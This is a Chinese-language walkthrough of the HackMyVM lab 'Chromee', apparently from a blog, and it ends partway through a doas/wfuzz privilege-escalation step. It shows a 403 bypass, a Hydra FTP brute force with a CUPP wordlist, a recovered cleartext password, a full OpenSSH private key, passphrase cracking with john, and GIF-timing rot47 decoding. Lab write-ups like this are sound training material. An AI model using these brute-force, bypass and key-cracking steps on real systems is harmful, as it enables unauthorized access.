&lt;p&gt; 用户名：&lt;code&gt;adriana&lt;/code&gt;；传输 &lt;code&gt;aaa&lt;/code&gt; 参数的话会回显 &lt;code&gt;/opt/note/dic.txt&lt;/code&gt; 的内容&lt;/p&gt;
&lt;h3&gt;8080端口&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# gobuster dir -u 172.16.52.238:8080 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js -t 64 
Error: error on parsing arguments: url scheme not specified
                                                                               
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# gobuster dir -u http://172.16.52.238:8080 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js -t 64 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.16.52.238:8080
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html,zip,db,bak,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 33]
/.html                (Status: 403) [Size: 280]
/javascript           (Status: 301) [Size: 326] [--&amp;gt; http://172.16.52.238:8080/javascript
/silence              (Status: 403) [Size: 280]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 访问 &lt;code&gt;silence&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Forbidden

You don&amp;#39;t have permission to access this resource.
Apache/2.4.56 (Debian) Server at 172.16.52.238 Port 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据提示尝试过绕过该限制&lt;/p&gt;
&lt;p&gt;找到个工具：&lt;a href=&quot;https://github.com/iamj0ker/bypass-403&quot;&gt;https://github.com/iamj0ker/bypass-403&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;403绕过&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/bypass-403]
└─# ./bypass-403.sh http://172.16.52.238:8080/silence
 ____                                  _  _    ___ _____ 
| __ ) _   _ _ __   __ _ ___ ___      | || |  / _ \___ / 
|  _ \| | | | &amp;#39;_ \ / _` / __/ __|_____| || |_| | | ||_ \ 
| |_) | |_| | |_) | (_| \__ \__ \_____|__   _| |_| |__) |
|____/ \__, | .__/ \__,_|___/___/        |_|  \___/____/ 
       |___/|_|                                          
                                               By Iam_J0ker
./bypass-403.sh https://example.com path
 
403,280  --&amp;gt; http://172.16.52.238:8080/silence/
403,280  --&amp;gt; http://172.16.52.238:8080/silence/%2e/
403,280  --&amp;gt; http://172.16.52.238:8080/silence//.
403,280  --&amp;gt; http://172.16.52.238:8080/silence////
403,280  --&amp;gt; http://172.16.52.238:8080/silence/.//./
403,280  --&amp;gt; http://172.16.52.238:8080/silence/ -H X-Original-URL: 
403,280  --&amp;gt; http://172.16.52.238:8080/silence/ -H X-Custom-IP-Authorization: 127.0.0.1
403,280  --&amp;gt; http://172.16.52.238:8080/silence/ -H X-Forwarded-For: http://127.0.0.1
403,280  --&amp;gt; http://172.16.52.238:8080/silence/ -H X-Forwarded-For: 127.0.0.1:80
403,280  --&amp;gt; http://172.16.52.238:8080/silence -H X-rewrite-url: 
403,280  --&amp;gt; http://172.16.52.238:8080/silence/%20
403,280  --&amp;gt; http://172.16.52.238:8080/silence/%09
403,280  --&amp;gt; http://172.16.52.238:8080/silence/?
403,280  --&amp;gt; http://172.16.52.238:8080/silence/.html
403,280  --&amp;gt; http://172.16.52.238:8080/silence//?anything
403,280  --&amp;gt; http://172.16.52.238:8080/silence/#
200,616  --&amp;gt; http://172.16.52.238:8080/silence/ -H Content-Length:0 -X POST
403,280  --&amp;gt; http://172.16.52.238:8080/silence//*
403,280  --&amp;gt; http://172.16.52.238:8080/silence/.php
403,280  --&amp;gt; http://172.16.52.238:8080/silence/.json
405,303  --&amp;gt; http://172.16.52.238:8080/silence/  -X TRACE
403,280  --&amp;gt; http://172.16.52.238:8080/silence/ -H X-Host: 127.0.0.1
403,280  --&amp;gt; http://172.16.52.238:8080/silence/..;/
000,0  --&amp;gt; http://172.16.52.238:8080/silence/;/
405,303  --&amp;gt; http://172.16.52.238:8080/silence/ -X TRACE
403,280  --&amp;gt; http://172.16.52.238:8080/silence/ -H X-Forwarded-Host: 127.0.0.1
Way back machine:
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;200,616  --&amp;gt; &lt;a href=&quot;http://172.16.52.238:8080/silence/&quot;&gt;http://172.16.52.238:8080/silence/&lt;/a&gt; -H Content-Length:0 -X POST&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;通过&lt;code&gt;POST&lt;/code&gt;方法即可绕过&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Chromee-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Silence

We are working to improve our website.

contact: support@chromee.hmv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到chromee.hmv&lt;/p&gt;
&lt;p&gt;将其加入hosts中&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;172.16.52.238 chromee.hmv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问&lt;a href=&quot;http://chromee.hmv/secret.php&quot;&gt;http://chromee.hmv/secret.php&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;早上好，adriana

当前时间：2025-12-13 09:29:03

你的IP：172.16.55.179
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;添加参数   &lt;a href=&quot;http://chromee.hmv/secret.php?aaa&quot;&gt;http://chromee.hmv/secret.php?aaa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;得到一段故事&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Lily, a curious girl, found an old rusty key in the woods. Wondering where it belonged, she asked everyone in the village, but no one knew. One day, she discovered a locked stone well. To her surprise, the key fit. She opened it and descended into a hidden passage. There, she found an ancient chest filled with treasures. But the real treasure was a note inside: “The greatest treasure is the journey, not the prize.” Lily smiled, realizing the adventure was the real reward.
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;《迷失的钥匙》&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;莉莉是个充满好奇心的女孩，她在树林里发现了一把古老而生锈的钥匙。她想知道这把钥匙是用来开什么的，于是询问了村子里的每一个人，但没有人知道答案。&lt;/p&gt;
&lt;p&gt;有一天，她发现了一口上了锁的石井。令她惊讶的是，那把钥匙竟然正好能打开它。她打开井口，沿着井下进入了一条隐藏的通道。&lt;/p&gt;
&lt;p&gt;在那里，她发现了一个装满宝藏的古老箱子。但真正的宝藏，是箱子里的一张纸条，上面写着：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“最珍贵的不是终点的奖赏，而是一路走来的旅程。”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;莉莉微笑了，因为她意识到，这场冒险本身，才是最大的收获。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;CUPP人民字典&lt;/h1&gt;
&lt;p&gt;提取人名字典&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cupp -i
/usr/bin/cupp:146: SyntaxWarning: invalid escape sequence &amp;#39;\ &amp;#39;
  print(&amp;quot;      \                     # User&amp;quot;)
/usr/bin/cupp:147: SyntaxWarning: invalid escape sequence &amp;#39;\ &amp;#39;
  print(&amp;quot;       \   \033[1;31m,__,\033[1;m             # Passwords&amp;quot;)
/usr/bin/cupp:148: SyntaxWarning: invalid escape sequence &amp;#39;\ &amp;#39;
  print(&amp;quot;        \  \033[1;31m(\033[1;moo\033[1;31m)____\033[1;m         # Profiler&amp;quot;)
/usr/bin/cupp:149: SyntaxWarning: invalid escape sequence &amp;#39;\ &amp;#39;
  print(&amp;quot;           \033[1;31m(__)    )\ \033[1;m  &amp;quot;)
 ___________ 
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don&amp;#39;t know all the info, just hit enter when asked! ;)

&amp;gt; First Name: adriana
&amp;gt; Surname: Lily
&amp;gt; Nickname: 
&amp;gt; Birthdate (DDMMYYYY): 


&amp;gt; Partners) name: 
&amp;gt; Partners) nickname: 
&amp;gt; Partners) birthdate (DDMMYYYY): 


&amp;gt; Child&amp;#39;s name: 
&amp;gt; Child&amp;#39;s nickname: 
&amp;gt; Child&amp;#39;s birthdate (DDMMYYYY): 


&amp;gt; Pet&amp;#39;s name: 
&amp;gt; Company name: 


&amp;gt; Do you want to add some key words about the victim? Y/[N]: 
&amp;gt; Do you want to add special chars at the end of words? Y/[N]: 
&amp;gt; Do you want to add some random numbers at the end of words? Y/[N]:
&amp;gt; Leet mode? (i.e. leet = 1337) Y/[N]: 

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to adriana.txt, counting 120 words.
[+] Now load your pistolero with adriana.txt and shoot! Good luck!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;23333端口扫描&lt;/h1&gt;
&lt;p&gt;卡住了，因为第一步端口扫描并没有扫描全端口，23333端口没有扫描到&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# nmap -Pn -sTCV -T4 -p0-65535 172.16.52.238
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-13 04:21 EST
Stats: 0:01:35 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 94.09% done; ETC: 04:23 (0:00:06 remaining)
Stats: 0:01:36 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 95.14% done; ETC: 04:23 (0:00:05 remaining)
Nmap scan report for chromee.hmv (172.16.52.238)
Host is up (0.0024s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp    open  http    nginx 1.18.0
|_http-title: primary
|_http-server-header: nginx/1.18.0
8080/tcp  open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesn&amp;#39;t have a title (text/html).
|_http-open-proxy: Proxy might be redirecting requests
23333/tcp open  ftp     vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.07 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看见23333端口开放了ftp服务&lt;/p&gt;
&lt;p&gt;那么我们尝试进行爆破&lt;/p&gt;
&lt;h1&gt;ftp爆破&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cat user.txt                                             
adriana
Lily
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;pass.txt利用CUPP生成的人名字典&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;hydra -L ./user.txt -P ./pass.txt 172.16.52.238 ftp -s 23333 -f  -t 50
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# hydra -L ./user.txt -P ./pass.txt 172.16.52.238 ftp -s 23333 -f  -t 50
Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-13 04:27:34
[DATA] max 50 tasks per 1 server, overall 50 tasks, 240 login tries (l:2/p:120), ~5 tries per task
[DATA] attacking ftp://172.16.52.238:23333/
[23333][ftp] host: 172.16.52.238   login: adriana   password: Lily2020
[STATUS] attack finished for 172.16.52.238 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-13 04:27:35
       
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;adriana:Lily2020&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ftp adriana@172.16.52.238 -p 23333
Connected to 172.16.52.238.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; ls
229 Entering Extended Passive Mode (|||26256|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             495 Mar 07  2025 dic.txt
226 Directory send OK.
ftp&amp;gt; get dic.txt
local: dic.txt remote: dic.txt
229 Entering Extended Passive Mode (|||60487|)
150 Opening BINARY mode data connection for dic.txt (495 bytes).
100% |**********************************|   495        9.63 MiB/s    00:00 ETA
226 Transfer complete.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;The Lost Key

Lily, a curious girl, found an old rusty key in the woods. Wondering where it belonged, she asked everyone in the village, but no one knew. One day, she discovered a locked stone well. To her surprise, the key fit. She opened it and descended into a hidden passage. There, she found an ancient chest filled with treasures. But the real treasure was a note inside: “The greatest treasure is the journey, not the prize.” Lily smiled, realizing the adventure was the real reward.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ftp adriana@172.16.52.238 -p 23333
Connected to 172.16.52.238.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; ls -al
229 Entering Extended Passive Mode (|||57548|)
150 Here comes the directory listing.
drwxr-xr-x    2 106      115          4096 Mar 09  2025 .
drwxr-xr-x    4 0        0            4096 Mar 09  2025 ..
-rw-r--r--    1 0        0            3414 Mar 09  2025 ...
-rw-r--r--    1 0        0             495 Mar 07  2025 dic.txt
226 Directory send OK.
ftp&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中...为文件可下载&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;-----BEGIN OPENSSH PRIVATE KEY-----
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
SG3w==
-----END OPENSSH PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该...文件为ssh私钥&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drwxr-x---    4 1000     1000         4096 Mar 09  2025 follower
drwxr-x---    3 1001     1001         4096 Mar 07  2025 softly
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现俩个用户&lt;/p&gt;
&lt;h1&gt;/srv&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;**/srv**&lt;/code&gt;** 用来存放“对外提供服务的数据”**&lt;br&gt;在靶机里，&lt;code&gt;/srv&lt;/code&gt;&lt;strong&gt;经常藏关键文件、Web 内容、FTP 资源或 flag&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drwxr-xr-x    2 0        115          4096 Mar 07  2025 ftp
-rw-r--r--    1 0        0             153 Mar 09  2025 zeus.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cat zeus.conf 
permit follower as softly cmd /usr/local/bin/wfuzz
permit nopass :softly as root cmd /usr/bin/chromium
permit nopass :softly as root cmd /usr/bin/kill  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1️⃣ &lt;code&gt;permit follower as softly cmd /usr/local/bin/wfuzz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;→ 允许用户 &lt;code&gt;follower&lt;/code&gt;，以用户 &lt;code&gt;softly&lt;/code&gt; 的身份运行 &lt;code&gt;/usr/local/bin/wfuzz&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;2️⃣ &lt;code&gt;permit nopass :softly as root cmd /usr/bin/chromium&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;→ 允许 &lt;code&gt;softly&lt;/code&gt; 用户无密码，提权为 &lt;code&gt;root&lt;/code&gt; 执行 &lt;code&gt;/usr/bin/chromium&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;3️⃣ &lt;code&gt;permit nopass :softly as root cmd /usr/bin/kill&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;→ 允许 &lt;code&gt;softly&lt;/code&gt; 用户无密码，提权为 &lt;code&gt;root&lt;/code&gt; 执行 &lt;code&gt;/usr/bin/kill&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;那么我们应该是要先拿到&lt;code&gt;follower&lt;/code&gt;用户&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ssh2john &amp;#39;...&amp;#39; &amp;gt; sshkey                                                   
                                                                               
┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# john -w=/usr/share/wordlists/rockyou.txt sshkey 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status

cassandra        (...)     
1g 0:00:00:39 DONE (2025-12-13 04:44) 0.02553g/s 26.14p/s 26.14c/s 26.14C/s andre..bethany
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably
Session completed.
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ssh连接&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ssh follower@172.16.52.238 -i &amp;#39;...&amp;#39;
Enter passphrase for key &amp;#39;...&amp;#39;: cassandra
follower@Chromee:~$ cd /home/follower
follower@Chromee:~$ ls
cat.gif  note.txt
follower@Chromee:~$ cat note.txt 
Think about rotations and the cat’s secrets.


47 is not just a number, it&amp;#39;s a twist of fate.
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;想想旋转，以及猫的秘密。
47 不仅仅是一个数字，它是一场命运的转折。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以联想到rot47加密方式&lt;/p&gt;
&lt;h1&gt;rot47解密&lt;/h1&gt;
&lt;p&gt;下载cat.gif&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# scp -i ... follower@172.16.52.238:/home/follower/cat.gif .
Enter passphrase for key &amp;#39;...&amp;#39;: 
cat.gif                                      100% 3411KB  46.5MB/s   00:00 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Chromee-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以发现是一只小猫照片&lt;/p&gt;
&lt;p&gt;cat.gif用convert可以分离出来12张图片，但是没有用&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;convert cat.gif 1.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不是空间轴可以试试时间轴&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─#  identify -format &amp;quot;%T &amp;quot; cat.gif
65 98 65 100 102 98 67 6 6 6 6 6 6 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将后面的6个6去掉扔进cyberchef中解密然后rot47解密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Chromee-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;先加载 from decimal  模块&lt;/p&gt;
&lt;p&gt;该模块为将字符以十进制方式计算(我们密文为十进制)&lt;/p&gt;
&lt;p&gt;再使用rot47进行解密&lt;/p&gt;
&lt;p&gt;得到秘钥&lt;/p&gt;
&lt;p&gt;p3p573r&lt;/p&gt;
&lt;h1&gt;Wfuzz&lt;/h1&gt;
&lt;p&gt;先用find找到wfuzz的路径&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;follower@Chromee:~$ find / -name &amp;quot;wfuzz&amp;quot; 2&amp;gt;/dev/null
/usr/local/bin/wfuzz
/usr/local/lib/python3.9/dist-packages/wfuzz
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&lt;code&gt;Doas&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;doas&lt;/code&gt; = “以另一个用户（通常是 root）身份执行命令”  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;follower@Chromee:/usr/local/lib/python3.9/dist-packages/wfuzz$ doas -u softly /usr/local/bin/wfuzz
Password: 
 /usr/local/lib/python3.9/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&amp;#39;s documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
*                                                      *
* Version up to 1.4c coded by:                         *
* Christian Martorella (cmartorella@edge-security.com) *
* Carlos del ojo (deepbit@gmail.com)                   *
*                                                      *
* Version 1.4d to 3.1.0 coded by:                      *
* Xavier Mendez (xmendez@edge-security.com)            *
********************************************************

Usage:  wfuzz [options] -z payload,params &amp;lt;url&amp;gt;

        FUZZ, ..., FUZnZ  wherever you put these keywords wfuzz will replace them with the values of the specified payload.
        FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.


